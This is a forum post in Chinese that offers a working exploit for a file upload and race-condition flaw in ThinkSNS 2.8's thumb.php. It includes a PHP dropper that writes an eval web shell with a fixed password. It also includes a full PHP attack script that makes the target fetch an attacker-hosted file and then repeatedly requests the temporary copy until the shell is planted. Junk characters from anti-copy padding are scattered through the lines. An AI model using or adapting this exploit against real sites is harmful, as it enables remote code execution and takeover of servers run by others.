找回密码
 立即注册
查看: 2212|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本( ]2 P, n9 R0 {. V. p( m
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)' y3 J8 j$ J2 l( Y" H' `4 r9 L6 h
漏洞文件; D- G# g  A) ^7 T$ ^3 A) v
存在漏洞的文件为:thumb.php
; C& c( N2 J2 w: w6 t" i作者:韦鲲鹏
: {9 ?* P8 n7 k1、        准备如下PHP文件并上传到服务器(自己的)。
0 V3 a  e+ ?. U& _* }& R! K- q文件内容如下:
& z& j7 Q7 t* ?1 ~) F<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
' r2 `( k: F7 A5 Z' E2、        计算出临时的文件名:
" x$ M% O" X5 {% ^这里我们可以看文件的99行(刚刚是不是没注意呀!)。
$ _% @1 l2 i  v7 R6 b; u7 O" w, L( Z7 e' G% v- o
3、        上传临时文件。
5 M$ W+ }, \3 S4、        访问临时文件。
% [! Z: _- ~5 A% G5 p6 w9 I8 W但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
, H7 C; l5 r7 }& z3 `Exploit文件内容如下:(这个我就不详细解释了)+ i% f7 V6 h5 u5 C
<?php# P5 h9 p6 B1 }3 c' ^3 z3 x
error_reporting(0);
/ u/ X7 @6 |! p3 u, c' Kset_time_limit(0);
9 V) R+ @7 }4 M# [ini_set(“default_socket_timeout”, 5);( d$ c' H0 L/ D
function http_send($host, $port, $headers) {
2 S3 c7 d7 S% `: k1 H+ f; A$fp = fsockopen($host, $port);
3 |$ V, U( X2 q. |7 w/ n9 C( Y7 _! zif (!$fp) die(‘Connection -> fail’);
- {+ _" p7 X- [8 O* gfputs($fp, $headers);6 c$ k+ U* X( c$ T8 `2 r5 q
return $fp;$ B  ~: f2 T0 D  n+ V
}
5 C; p3 W& s) Z1 N4 J4 O  gfunction http_recv($fp) {
% y" i# @: ^* Z& `% @$ }. b5 U# V% R$ret=”";1 e6 j8 M: e* w9 p' v. p
while (!feof($fp))
, ^3 H$ Y4 p- v5 J$ret.= fgets($fp, 1024);( _0 l: w4 c) F8 |# \1 z" u
fclose($fp);
, @& z- J% W: s* W4 ^8 u& L0 mreturn $ret;
) ?4 l- a5 J! G& U1 s  W# s}
6 l- }4 z( F' S5 ^print “\n#  ThinkSns Arbitrary File Upload   #\n”;1 y8 ?0 k/ ^" c2 U7 ?& N2 a1 U2 `
print “# Discovered by 韦鲲鹏 #\n\n”;  d7 [8 f( H' ~" k% y0 T
if ($argc < 4) {
5 p6 _2 x7 J; ^2 F7 O8 h+ hprint “Usage:   php <host> <path> <romote_url>\n”;) N; v7 E, t. ^- W7 e
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
2 i9 n3 E" [) q0 d, Ldie();' C/ ^2 B$ ]: k: y
}* v. Z! @5 j# }) V9 {
$host = $argv[1];
" ?. C' [2 L+ _3 L2 `5 ?, a$path = $argv[2];* ]" e3 X* ]  R3 L$ [2 Q
$url = $argv[3];
& C9 O  D: I+ `; b$i=0;9 ~; L- u7 {% a" x
//上传数据包9 ^0 ]5 X# I- ^
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
+ z- _' v- M* M$headers_up .= “Host: “.$host.”\r\n”;0 a" t, a* W8 J, p; N5 {& A9 |
$headers_up .= “Connection: close\r\n\r\n”;0 h* ?% A: S; Y' x1 k% b% _
echo $headers_up;
& a! m$ o/ w4 \/ n0 a: @//临时文件访问数据包
* `+ C) x+ F! m# z9 L' [$ z: O$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
, |$ ^6 i$ c$ E" V$headers .= “Host: “.$host.”\r\n”;3 ]# p9 S, d( p6 ~3 D) @
$headers .= “Connection: close\r\n\r\n”;
3 Q+ B0 {1 n: V6 Cecho $headers;
0 m( ~- ^1 d6 E: p8 c; I; [0 rwhile(++$i<10) {8 u8 h4 h# J7 _, O  X
fclose(http_send($host, 80, $headers));
* u' N* @/ D& {}8 L; {9 n0 [" J. t/ R8 P
fclose(http_send($host, 80, $headers_up));! D- e- X* K2 l  m' ]
while(++$i<50) {
) D4 q1 T7 H! s& g' m9 Bfclose(http_send($host, 80, $headers));
% N2 c8 k+ @$ u; E& G}
2 _& X& t2 R* ^$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;1 m$ E* x- {4 r/ s0 e
$headers .= “Host: “.$host.”\r\n”;; v- y1 Z2 j2 `8 X2 p
$headers .= “Connection: close\r\n\r\n”;
1 @0 u% [! E, C& y9 [$res=http_recv(http_send($host, 80, $headers));
% ?8 \& P3 {  [. W2 w3 l; zif(preg_match(‘/200 OK/’,$res)) {- d7 _1 i! s" g+ q* s
print “Success!\n\n”;
5 {3 P9 U  C! @& ~, w} else {. m/ |- d! }* e, [# F% n7 F. ^+ V
print “Fail!\n\n”;$ u$ {4 g( J) q+ k5 r7 m
}
. v" U) t8 X% o& ]2 `" Y$ W% o?>8 m+ G( K1 p5 ^  F, b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表